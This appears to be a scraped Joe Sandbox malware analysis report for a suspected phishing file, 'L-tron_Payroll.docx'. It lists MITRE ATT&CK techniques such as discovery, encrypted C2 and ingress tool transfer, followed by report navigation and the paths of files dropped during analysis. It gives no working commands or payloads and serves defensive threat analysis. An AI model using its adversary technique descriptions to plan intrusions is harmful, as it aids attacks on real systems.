Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report L-tron_Payroll.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\34A97ED9.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9856E706.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{19C70F03-FE70-47B5-910A-1500A168C614}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{B8B4AF61-A9FF-47D4-BEDF-86C1E67A7B00}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1728330776846882500_2BDFFAA9-0FB1-4E15-92C9-D310BE93E97C.log

C:\Users\user\AppData\Local\Temp\TCD8861.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8861.tmp\mlaseventheditionofficeonline.xsl

C:\Users\user\AppData\Local\Temp\TCD8862.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8862.tmp\gb.xsl

C:\Users\user\AppData\Local\Temp\TCD8863.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8863.tmp\chicago.xsl

C:\Users\user\AppData\Local\Temp\TCD8864.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8864.tmp\iso690nmerical.xsl

C:\Users\user\AppData\Local\Temp\TCD888D.tmp\Content.inf

Windows Analysis Report
L-tron_Payroll.docx